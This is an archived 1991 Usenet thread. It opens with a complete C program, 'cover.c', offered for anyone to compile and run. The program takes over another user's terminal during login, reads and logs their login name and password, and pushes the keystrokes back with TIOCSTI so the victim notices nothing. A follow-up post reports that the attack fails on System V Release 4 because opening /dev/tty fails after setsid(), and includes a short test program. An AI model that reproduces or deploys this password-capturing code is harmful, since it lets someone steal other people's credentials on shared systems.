fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) (05/08/91)
Here's a small program I wrote a while back. It speaks for itself, compile it, run it in the background (with &) and sit back. This program is an official release of the TimeWasters from HOLLAND ! --- /************************************************************************/ /* cover.c, version 2.5, Copyright (C) 1991 by WasteWare. */ /* Unauthorized use and reproduction prohibited. */ /* This program monitors the login process and records its findings. */ /************************************************************************/ #include <stdio.h> #include <signal.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/termios.h> #define DEBUG 1 /* Enable additional debugging info (needed!) */ #define USLEEP /* Define this if your UNIX supports usleep() */ #ifdef ULTRIX #define TCGETS TCGETP /* Get termios structure */ #define TCSETS TCSANOW /* Set termios structure */ #endif handler(signal) int signal; /* signalnumber */ { /* do nothing, ignore the signal */ if(DEBUG) printf("Ignoring signal %d\n",signal); } int readandpush(f,string) FILE *f; char *string; { char *cp,*result; int e; struct termios termios; result=fgets(string,20,f); /* Read a line into string */ if (result==NULL) { perror("fgets()"); return(1); } if (DEBUG) { printf("String: %s\n",string); fflush(stdout); } ioctl(0,TCGETS,&termios); /* These 3 lines turn off input echo */ /* echo = (termios.c_lflag & ECHO); */ termios.c_lflag=((termios.c_lflag | ECHO) - ECHO); ioctl(0,TCSETS,&termios); for (cp=string;*cp;cp++) /* Push it back as input */ { e=ioctl(0,TIOCSTI,cp); if(e<0) { perror("ioctl()"); return(1); } } return(0); } main(argc,argv) int argc; char *argv[]; { /* variables */ int err; FILE *f; char *term = "12345678901234567890"; char *login = "12345678901234567890"; char *password = "12345678901234567890"; if (argc < 2) { printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]); printf("Enter ttyname: "); gets(term); } else term=argv[argc-1]; signal(SIGQUIT,handler); signal(SIGINT,handler); signal(SIGTERM,handler); signal(SIGHUP,handler); signal(SIGTTOU,handler); close(0); /* close stdin */ #ifdef ULTRIX if(setpgrp(0,100)==-1) perror("setpgrp:"); /* Hopefully this works */ #else if(setsid()==-1) perror("setsid:"); /* Disconnect from our controlling TTY and start a new session as sessionleader */ #endif f=fopen(term,"r"); /* Open tty as a stream, this guarantees getting file descriptor 0 */ if (f==NULL) { printf("Error opening %s with fopen()\n",term); exit(2); } if (DEBUG) system("ps -xu>>/dev/null &"); fclose(f); /* Close the TTY again */ f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ if (f==NULL) { printf("Error opening /dev/tty with fopen()\n",term); exit(2); } if(readandpush(f,login)==0) { #ifdef USLEEP usleep(20000); /* This gives login(1) a chance to read the string, or the second call would read the input that the first call pushed back ! /* #else for(i=0;i<1000;i++) err=err+(i*i) /* error /* Alternatives not yet implemented */ #endif readandpush(f,password); printf("Result: First: %s Second: %s\n",login,password); } fflush(stdout); sleep(30); /* Waste some time, to prevent that we send a SIGHUP to login(1), which would kill the user. Instead, wait a while. We then send SIGHUP to the shell of the user, which will ignore it. */ fclose(f); }
urban@cbnewsl.att.com (john.urban) (05/10/91)
In article <15678@life.ai.mit.edu> fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) writes: >Here's a small program I wrote a while back. It speaks for itself, >compile it, run it in the background (with &) and sit back. >This program is an official release of the TimeWasters from HOLLAND ! > >--- > close(0); /* close stdin */ >#ifdef ULTRIX > if(setpgrp(0,100)==-1) > perror("setpgrp:"); /* Hopefully this works */ >#else > if(setsid()==-1) > perror("setsid:"); /* Disconnect from our controlling TTY and > start a new session as sessionleader */ >#endif > f=fopen(term,"r"); /* Open tty as a stream, this guarantees > getting file descriptor 0 */ > if (f==NULL) > { printf("Error opening %s with fopen()\n",term); > exit(2); > } > if (DEBUG) system("ps -xu>>/dev/null &"); > fclose(f); /* Close the TTY again */ > f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ > if (f==NULL) > { printf("Error opening /dev/tty with fopen()\n",term); > exit(2); > } This program does not exhibit the problem on AT&T UNIX System V/386 Release 4.0 Version 2.[01]. The fopen of "/dev/tty" fails because the setsid() passed successfully. In this small program: # cat T.c main() { setsid(); fopen("/dev/tty", "r"); } # make T cc -O T.c -o T # truss ./T You'll see the fopen fails w/ ENXIO. If the setsid() is removed, then the fopen passes fine. Sincerely, John Ben Urban